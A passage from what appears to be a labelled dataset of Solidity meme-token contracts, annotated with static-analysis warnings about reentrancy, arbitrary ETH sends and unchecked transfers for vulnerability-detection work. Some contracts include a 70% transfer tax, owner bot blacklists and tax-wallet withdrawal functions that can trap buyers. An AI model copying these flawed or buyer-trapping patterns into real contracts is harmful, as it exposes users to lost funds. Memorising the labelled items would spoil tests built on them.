.div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 2dec3f9\n\t\t\t\t// reentrancy-eth | ID: a22ec55\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 2dec3f9\n\t\t\t\t\t// reentrancy-eth | ID: a22ec55\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a22ec55\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a22ec55\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a22ec55\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 2dec3f9\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a22ec55\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a22ec55\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 2dec3f9\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2dec3f9\n\t\t// reentrancy-events | ID: 71f7baa\n\t\t// reentrancy-benign | ID: 5fe4e02\n\t\t// reentrancy-eth | ID: a22ec55\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTranTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 1b7ce5f): CMTradeUtility.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 1b7ce5f: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2dec3f9\n\t\t// reentrancy-events | ID: 71f7baa\n\t\t// reentrancy-eth | ID: a22ec55\n\t\t// arbitrary-send-eth | ID: 1b7ce5f\n _taxWallet.transfer(amount);\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 233e735): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 233e735: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e1a0015): CMTradeUtility.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e1a0015: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f660312): CMTradeUtility.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f660312: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 63fb4c6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 63fb4c6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 233e735\n\t\t// reentrancy-eth | ID: 63fb4c6\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 233e735\n\t\t// unused-return | ID: f660312\n\t\t// reentrancy-eth | ID: 63fb4c6\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 233e735\n\t\t// unused-return | ID: e1a0015\n\t\t// reentrancy-eth | ID: 63fb4c6\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 233e735\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 63fb4c6\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: a96166b): CMTradeUtility.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for a96166b: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: a96166b\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10265.sol",
"size_bytes": 20959,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MLEM is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9f47a33): MLEM._taxWallet should be immutable \n\t// Recommendation for 9f47a33: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6877c3f): MLEM._initialBuyTax should be constant \n\t// Recommendation for 6877c3f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3452ad4): MLEM._initialSellTax should be constant \n\t// Recommendation for 3452ad4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 27;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: cf0a2ae): MLEM._reduceBuyTaxAt should be constant \n\t// Recommendation for cf0a2ae: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 90cc745): MLEM._reduceSellTaxAt should be constant \n\t// Recommendation for 90cc745: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2a5125b): MLEM._preventSwapBefore should be constant \n\t// Recommendation for 2a5125b: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Mlem Car\";\n\n string private constant _symbol = unicode\"MLEM\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e5ccae4): MLEM._taxSwapThreshold should be constant \n\t// Recommendation for e5ccae4: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7f43755): MLEM._maxTaxSwap should be constant \n\t// Recommendation for 7f43755: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 6300000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7fd22cb): MLEM.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7fd22cb: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0830983): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0830983: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 151cca5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 151cca5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0830983\n\t\t// reentrancy-benign | ID: 151cca5\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0830983\n\t\t// reentrancy-benign | ID: 151cca5\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d0a785b): MLEM._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d0a785b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 151cca5\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0830983\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 519a123): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 519a123: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f50e960): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f50e960: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 519a123\n\t\t\t\t// reentrancy-eth | ID: f50e960\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 519a123\n\t\t\t\t\t// reentrancy-eth | ID: f50e960\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: f50e960\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: f50e960\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f50e960\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 519a123\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: f50e960\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: f50e960\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 519a123\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0830983\n\t\t// reentrancy-events | ID: 519a123\n\t\t// reentrancy-benign | ID: 151cca5\n\t\t// reentrancy-eth | ID: f50e960\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 9e10367): MLEM.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 9e10367: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0830983\n\t\t// reentrancy-events | ID: 519a123\n\t\t// reentrancy-eth | ID: f50e960\n\t\t// arbitrary-send-eth | ID: 9e10367\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9e3f2c4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9e3f2c4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d0591c8): MLEM.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d0591c8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7af1a7a): MLEM.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7af1a7a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6b617d6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6b617d6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: 9e3f2c4\n\t\t\t// reentrancy-eth | ID: 6b617d6\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(address(this), uniswapV2Router.WETH());\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-benign | ID: 9e3f2c4\n\t\t// unused-return | ID: 7af1a7a\n\t\t// reentrancy-eth | ID: 6b617d6\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 9e3f2c4\n\t\t// unused-return | ID: d0591c8\n\t\t// reentrancy-eth | ID: 6b617d6\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 9e3f2c4\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 6b617d6\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: c49fecb): MLEM.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for c49fecb: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: c49fecb\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6999adf): MLEM.withdrawETH(address,uint256).to lacks a zerocheck on \t to.transfer(amount)\n\t// Recommendation for 6999adf: Check that the address is not zero.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6c5095c): MLEM.withdrawETH(address,uint256) sends eth to arbitrary user Dangerous calls to.transfer(amount)\n\t// Recommendation for 6c5095c: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function withdrawETH(address payable to, uint256 amount) external {\n require(_msgSender() == _taxWallet);\n\n require(address(this).balance >= amount, \"Insufficient ETH balance\");\n\n\t\t// missing-zero-check | ID: 6999adf\n\t\t// arbitrary-send-eth | ID: 6c5095c\n to.transfer(amount);\n }\n}\n",
"file_name": "solidity_code_10266.sol",
"size_bytes": 21565,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 27a6790): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 27a6790: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 27a6790\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract elon is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d5eb8ba): elon._taxWallet should be immutable \n\t// Recommendation for d5eb8ba: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 417df67): elon._initialBuyTax should be constant \n\t// Recommendation for 417df67: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: 93bfdda): elon._initialSellTax should be constant \n\t// Recommendation for 93bfdda: Add the 'constant' attribute to state variables that 